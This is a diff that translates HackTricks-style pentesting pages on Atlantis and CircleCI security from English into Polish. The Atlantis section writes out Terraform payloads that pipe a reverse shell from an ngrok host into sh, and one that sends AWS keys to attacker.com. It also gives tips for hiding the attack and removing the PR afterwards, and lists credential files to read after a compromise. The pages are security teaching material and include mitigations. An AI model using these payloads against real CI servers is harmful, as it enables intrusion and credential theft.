+1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to.
+2. Prawdopodobnie wymagane, aby były dozwolone przez flagi takie jak `allowed_overrides` lub `allow_custom_workflows`.
+3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać ją z flagą `--repo-config` i jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
+4. **Domyślne** wartości.
**PR Protections**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis pozwala wskazać, czy chcesz, aby **PR** był **`zatwierdzony`** przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był **`możliwy do scalania`** (ochrony gałęzi spełnione) **przed uruchomieniem apply**. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji.
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+W przypadku, gdy `allowed_overrides` jest True, te ustawienia mogą być **nadpisywane w każdym projekcie przez plik `/atlantis.yml`**.
**Scripts**
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+Konfiguracja repozytorium może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**.
-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**.
**Workflow**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+W konfiguracji repozytorium (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
+Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**.
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.\
+> To zasadniczo da **RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium**.
>
> ```yaml
> # atlantis.yaml
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
**Conftest Policy Checking**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- Odrzucenie użycia listy modułów.
+- Asercje atrybutów zasobu w czasie tworzenia.
+- Wykrywanie niezamierzonych usunięć zasobów.
+- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie).
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
-
+[**W dokumentacji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) znajdziesz opcje, które możesz użyć do uruchomienia Atlantis:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
-### Attacks
+### Ataki
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> Jeśli podczas eksploatacji napotkasz ten **błąd**: `Error: Error acquiring the state lock`
+Możesz to naprawić, uruchamiając:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
+Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Cichszy Atak**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii:
+- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego jak: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Zamiast** tworzyć **PR do master**, aby uruchomić Atlantis, **stwórz 2 gałęzie** (test1 i test2) i stwórz **PR z jednej do drugiej**. Gdy zakończysz atak, po prostu **usuń PR i gałęzie**.
#### Atlantis plan Secrets Dump
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
-
+Możesz **zrzucić sekrety używane przez terraform**, uruchamiając `atlantis plan` (`terraform plan`), umieszczając coś takiego w pliku terraform:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+#### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR
-#### Atlantis apply RCE - Config modification in new PR
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Mergeable**: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić **`atlantis apply` tylko wtedy, gdy PR jest możliwy do scalania** (co oznacza, że zabezpieczenie gałęzi musi zostać ominięte).
+- Sprawdź potencjalne [**obejścia zabezpieczeń gałęzi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Approved**: Jeśli to zabezpieczenie jest ustawione w Atlantis, **inny użytkownik musi zatwierdzić PR** zanim będziesz mógł uruchomić `atlantis apply`
+- Domyślnie możesz nadużyć [**tokena Gitbota, aby obejść to zabezpieczenie**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+Uruchamianie **`terraform apply` na złośliwym pliku Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Wstrzykiwanie parametrów Terraform
+Podczas uruchamiania `atlantis plan` lub `atlantis apply`, terraform jest uruchamiany w tle, możesz przekazać polecenia do terraform z atlantis, komentując coś takiego:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+Co możesz przekazać, to zmienne env, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne env terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### Niestandardowy Workflow
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w pliku `atlantis.yaml`. Atlantis używa pliku `atlantis.yaml` z gałęzi pull request, **a nie** z `master`.\
+Ta możliwość została wspomniana w poprzedniej sekcji:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**.
>
> ```yaml
> # atlantis.yaml
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### Obejście zabezpieczeń planu/aplikacji
+Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ma_ skonfigurowane `apply_requirements`, możliwe jest, aby repo **zmodyfikowało zabezpieczenia planu/aplikacji, aby je obejść**.
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz.
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego dodawane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
-This is the **setting** in Github branch protections:
+To jest **ustawienie** w ochronach gałęzi Github:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+Jeśli uda ci się **ukraść sekret webhooka** używanego lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlantis** bezpośrednio.
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **nie obsługuje sekretów webhooka**. Może to pozwolić atakującym na **fałszowanie żądań z Bitbucket**. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket.
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- Oznacza to, że **atakujący** mógłby wysyłać **fałszywe żądania do Atlantis**, które wyglądają, jakby pochodziły z Bitbucket.
+- Jeśli określasz `--repo-allowlist`, to mogliby fałszować tylko żądania dotyczące tych repozytoriów, więc największe szkody, jakie mogliby wyrządzić, to plan/apply na twoich własnych repozytoriach.
+- Aby temu zapobiec, dodaj do listy dozwolonych [adresy IP Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (zobacz adresy IPv4 wychodzące).
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+Jeśli udało ci się uzyskać dostęp do serwera lub przynajmniej masz LFI, są pewne interesujące rzeczy, które powinieneś spróbować przeczytać:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` Zawiera dane uwierzytelniające do vcs
+- `/atlantis-data/atlantis.db` Zawiera dane uwierzytelniające do vcs z dodatkowymi informacjami
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Plik stanu terraform
+- Przykład: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Zmienne środowiskowe
+- `/proc/[2-20]/cmdline` Linia poleceń `atlantis server` (może zawierać dane wrażliwe)
### Mitigations
#### Don't Use On Public Repos
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkich dostępnych zabezpieczeniach, nadal jest niebezpiecznie uruchamiać Atlantis na publicznych repozytoriach bez odpowiedniej konfiguracji ustawień zabezpieczeń.
#### Don't Use `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z ich forka do twojego repozytorium.
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis wymaga, abyś określił listę dozwolonych repozytoriów, z których zaakceptuje webhooki za pomocą flagi `--repo-allowlist`. Na przykład:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Konkretne repozytoria: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Cała twoja organizacja: `--repo-allowlist=github.com/runatlantis/*`
+- Każde repozytorium w twojej instalacji GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
+- Wszystkie repozytoria: `--repo-allowlist=*`. Przydatne, gdy jesteś w chronionej sieci, ale niebezpieczne bez ustawienia sekretu webhooka.
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz `atlantis server --help` po więcej szczegółów.
#### Protect Terraform Planning
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+Jeśli atakujący składają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.
-To prevent this, you could:
+Aby temu zapobiec, możesz:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. Wbudować dostawców w obraz Atlantis lub hostować i odmówić egress w produkcji.
+2. Wdrożyć protokół rejestru dostawców wewnętrznie i odmówić publicznego egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
+3. Zmodyfikować krok `plan` w swojej [konfiguracji repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html), aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny.
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogliby wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło.
#### Azure DevOps Basic Authentication
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps obsługuje wysyłanie nagłówka podstawowej autoryzacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka.
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+Jeśli używasz sekretów webhooka, ale twój ruch jest przez HTTP, to sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS, używając flag `--ssl-cert-file` i `--ssl-key-file`.
#### Enable Authentication on Atlantis Web Server
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+Zdecydowanie zaleca się włączenie autoryzacji w usłudze internetowej. Włącz BasicAuth, używając `--web-basic-auth=true` i skonfiguruj nazwę użytkownika oraz hasło, używając flag `--web-username=yourUsername` i `--web-password=yourPassword`.
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Możesz również przekazać je jako zmienne środowiskowe `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` i `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..bb794c2b9 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -2,258 +2,234 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Podstawowe informacje
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) to platforma Continuous Integration, na której możesz **definiować szablony** wskazujące, co chcesz, aby zrobiła z kodem i kiedy to zrobić. W ten sposób możesz **automatyzować testy** lub **wdrożenia** bezpośrednio **z głównej gałęzi repozytorium** na przykład.
-### Permissions
+### Uprawnienia
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **kontem**, które się loguje.\
+W moich testach sprawdziłem, że tak długo, jak masz **uprawnienia do zapisu w repozytorium na githubie**, będziesz mógł **zarządzać ustawieniami projektu w CircleCI** (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+Jednak musisz być **administratorem repozytorium**, aby **przekształcić repozytorium w projekt CircleCI**.
-### Env Variables & Secrets
+### Zmienne środowiskowe i sekrety
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+Zgodnie z [**dokumentacją**](https://circleci.com/docs/2.0/env-vars/) istnieją różne sposoby **ładowania wartości do zmiennych środowiskowych** w ramach workflow.
-#### Built-in env variables
+#### Wbudowane zmienne środowiskowe
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+Każdy kontener uruchamiany przez CircleCI zawsze będzie miał [**specyficzne zmienne środowiskowe zdefiniowane w dokumentacji**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) takie jak `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` lub `CIRCLE_USERNAME`.
-#### Clear text
-
-You can declare them in clear text inside a **command**:
+#### Tekst jawny
+Możesz je zadeklarować w formie jawnej wewnątrz **komendy**:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+Możesz zadeklarować je w czystym tekście wewnątrz **środowiska uruchomieniowego**:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+Możesz zadeklarować je w czystym tekście wewnątrz **build-job environment**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+Możesz je zadeklarować w czystym tekście wewnątrz **środowiska kontenera**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### Sekrety projektu
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+To są **sekrety**, które będą **dostępne** tylko dla **projektu** (dla **każdej gałęzi**).\
+Możesz je zobaczyć **zadeklarowane w** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
-> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> [!OSTRZEŻENIE]
+> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego.
-#### Context Secrets
+#### Sekrety kontekstu
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każde repo** będzie mogło **uzyskać dostęp do każdego sekretu** przechowywanego tutaj:
.png>)
-> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> [!WSKAZÓWKA]
